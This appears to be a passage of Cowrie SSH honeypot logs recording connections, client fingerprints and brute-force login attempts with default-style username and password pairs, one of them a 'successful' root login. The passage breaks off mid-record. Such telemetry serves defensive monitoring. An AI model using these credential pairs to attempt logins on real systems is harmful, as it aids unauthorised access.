{"eventid":"cowrie.session.connect","src_ip":"200.225.246.102","src_port":49036,"dst_ip":"10.17.0.5","dst_port":22,"session":"3281c3728953","protocol":"ssh","message":"New connection: 200.225.246.102:49036 (10.17.0.5:22) [session: 3281c3728953]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:15.471214Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:15.475794Z","src_ip":"200.225.246.102","session":"3281c3728953","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:15.604049Z","src_ip":"200.225.246.102","session":"3281c3728953","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:16.148200Z","src_ip":"200.225.246.102","session":"3281c3728953","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.4","message":"Connection lost after 4.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:16.280224Z","src_ip":"200.225.246.102","session":"155009840b80","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:16.284768Z","src_ip":"200.225.246.102","session":"3281c3728953","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":60932,"dst_ip":"159.203.135.109","dst_port":22,"session":"6b7420629937","protocol":"ssh","message":"New connection: 2.57.122.210:60932 (159.203.135.109:22) [session: 6b7420629937]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:34.605909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:34.610261Z","src_ip":"2.57.122.210","session":"6b7420629937","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:34.714061Z","src_ip":"2.57.122.210","session":"6b7420629937","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"evm","password":"evm","message":"login attempt [evm/evm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:35.025297Z","src_ip":"2.57.122.210","session":"6b7420629937","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:27:36.131285Z","src_ip":"2.57.122.210","session":"6b7420629937","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"166.1.60.230","src_port":50556,"dst_ip":"10.17.0.5","dst_port":22,"session":"5347272bf97f","protocol":"ssh","message":"New connection: 166.1.60.230:50556 (10.17.0.5:22) [session: 5347272bf97f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:28:38.460751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:28:38.465268Z","src_ip":"166.1.60.230","session":"5347272bf97f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:28:38.469751Z","src_ip":"166.1.60.230","session":"5347272bf97f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kanban","password":"12345","message":"login attempt [kanban/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:28:38.525105Z","src_ip":"166.1.60.230","session":"5347272bf97f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:28:39.532507Z","src_ip":"166.1.60.230","session":"5347272bf97f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.108.125","src_port":44018,"dst_ip":"10.17.0.5","dst_port":22,"session":"48c221482f74","protocol":"ssh","message":"New connection: 101.36.108.125:44018 (10.17.0.5:22) [session: 48c221482f74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:02.670708Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:02.674395Z","src_ip":"101.36.108.125","session":"48c221482f74","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:02.890998Z","src_ip":"101.36.108.125","session":"48c221482f74","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sdtd","password":"123456","message":"login attempt [sdtd/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:03.793005Z","src_ip":"101.36.108.125","session":"48c221482f74","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:05.012222Z","src_ip":"101.36.108.125","session":"48c221482f74","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":35858,"dst_ip":"10.17.0.5","dst_port":22,"session":"8f12ef40d0ac","protocol":"ssh","message":"New connection: 27.79.5.10:35858 (10.17.0.5:22) [session: 8f12ef40d0ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:13.906528Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:13.930277Z","src_ip":"27.79.5.10","session":"8f12ef40d0ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:14.190381Z","src_ip":"27.79.5.10","session":"8f12ef40d0ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"guest","password":"guest","message":"login attempt [guest/guest] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:16.310360Z","src_ip":"27.79.5.10","session":"8f12ef40d0ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.7","message":"Connection lost after 3.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:17.563833Z","src_ip":"27.79.5.10","session":"8f12ef40d0ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35428,"dst_ip":"159.203.135.109","dst_port":22,"session":"99581ff7fa3c","protocol":"ssh","message":"New connection: 2.57.122.210:35428 (159.203.135.109:22) [session: 99581ff7fa3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:45.967087Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:45.971444Z","src_ip":"2.57.122.210","session":"99581ff7fa3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:46.071423Z","src_ip":"2.57.122.210","session":"99581ff7fa3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sniper","password":"sniper","message":"login attempt [sniper/sniper] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:46.367905Z","src_ip":"2.57.122.210","session":"99581ff7fa3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:29:47.469338Z","src_ip":"2.57.122.210","session":"99581ff7fa3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"27.79.5.10","src_port":48770,"dst_ip":"10.17.0.5","dst_port":22,"session":"572311f6442b","protocol":"ssh","message":"New connection: 27.79.5.10:48770 (10.17.0.5:22) [session: 572311f6442b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:31:14.263964Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-AsyncSSH_2.1.0","message":"Remote SSH version: SSH-2.0-AsyncSSH_2.1.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:31:14.269198Z","src_ip":"27.79.5.10","session":"572311f6442b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"fda360b1b4f4d3455cb75c6e7edb1d11","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","curve448-sha512","ecdh-sha2-nistp521","ecdh-sha2-nistp384","ecdh-sha2-nistp256","ecdh-sha2-1.3.132.0.10","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha256","diffie-hellman-group15-sha512","diffie-hellman-group16-sha512","diffie-hellman-group17-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","rsa2048-sha256","rsa1024-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519-cert-v01@openssh.com","ssh-ed448-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-ed25519","ssh-ed448","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","ecdsa-sha2-1.3.132.0.10","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","arcfour256","arcfour128","arcfour"],"macCS":["umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-sha2-256-96-etm@openssh.com","hmac-sha2-512-96-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-md5","hmac-sha2-256-96","hmac-sha2-512-96","hmac-sha1-96","hmac-md5-96"],"compCS":["zlib@openssh.com","zlib","none"],"langCS":[""],"message":"SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:31:14.557868Z","src_ip":"27.79.5.10","session":"572311f6442b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"test","message":"login attempt [test/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:31:16.265322Z","src_ip":"27.79.5.10","session":"572311f6442b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.4","message":"Connection lost after 7.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:31:21.627598Z","src_ip":"27.79.5.10","session":"572311f6442b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38172,"dst_ip":"159.203.135.109","dst_port":22,"session":"40b6cde577c9","protocol":"ssh","message":"New connection: 2.57.122.210:38172 (159.203.135.109:22) [session: 40b6cde577c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:02.849424Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-22T12:32:02.854075Z","src_ip":"2.57.122.210","session":"40b6cde577c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@o